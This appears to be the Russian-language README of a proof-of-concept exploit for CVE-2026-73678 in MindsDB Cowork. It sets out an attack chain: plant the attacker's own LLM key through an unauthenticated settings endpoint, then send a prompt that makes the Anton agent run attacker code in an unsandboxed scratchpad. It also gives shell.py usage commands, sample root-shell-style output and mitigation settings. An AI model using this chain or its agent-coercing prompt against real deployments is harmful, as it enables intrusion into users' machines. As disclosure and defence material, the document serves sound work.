
PoC-эксплойт для CVE-2026-73678: неаутентифицированное RCE в MindsDB Cowork через предоставленный атакующим LLM-ключ и выполнение кода в scratchpad без песочницы для запуска команд ОС.
PoC для CVE-2026-73678 (CVSS 3.1 10.0 — критический, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
Полный разбор: www.hunt-benito.com/blog/bring-your-own-key-cve-2026-73678-unauthenticated-rce-in-mindsdb-cowork/
FastAPI-сайдкар Cowork cowork-server открывает /api/v1/ без аутентификации (CWE-306), с CORS allow_origins=["*"] (CWE-942), а инструмент scratchpad агента Anton выполняет сгенерированный LLM Python-код через «сырой» exec() без песочницы (CWE-94).
Цепочка атаки: подложите собственный LLM-ключ атакующего через PUT /api/v1/settings/* → POST /api/v1/responses/ с промптом, который заставит агента выполнить код атакующего в scratchpad → выполнение произвольных OS-команд от имени пользователя, под которым запущено приложение.
Адаптировано из PoC в уведомлении MindsDB GHSA-jcxw-h8ph-pxpv (автор: Ho Viet Khanh / HK4zCzi).
127.0.0.1:26866)# against a local dev instance (make dev-web)
python3 shell.py AIzaSy... gemini
# explicit target + model
API=http://127.0.0.1:26866/api/v1 python3 shell.py sk-... openai gpt-4o-mini
[*] Setting provider=gemini model=gemini-2.5-flash
[*] validate: {"status": "ok", "configReady": true, ...}
=======================================================
RCE SHELL (type shell commands, 'exit' to quit)
=======================================================
$ id
uid=1000(victim) gid=1000(victim) groups=1000(victim),27(sudo)
Сгенерированный фрагмент вычисляет os.urandom(4).hex() внутри процесса жертвы и записывает результат в /tmp/RCE_PROOF.txt. Промпт сообщает модели, что она не может узнать nonce без выполнения кода. Если в возвращённом тексте есть nonce, совпадающий с файлом на диске, это доказывает, что код выполнялся — галлюцинирующая модель не может его сгенерировать.
export COWORK_REQUIRE_AUTH=true # auth exists but defaults OFF
export COWORK_AUTH_TOKEN="<long-random>" # or let it auto-generate
export COWORK_ALLOWED_ORIGINS='["http://localhost:26866"]'
# never set COWORK_SERVER_HOST beyond 127.0.0.1; rotate all secrets reachable
# by the account that ran the app
Патченного релизного тега не существует; исправления находятся только в ветках main репозиториев cowork-server/anton.
Только для авторизованного тестирования безопасности и исследовательских целей. Не запускайте против систем, которыми вы не владеете или на тест которых у вас нет явного разрешения.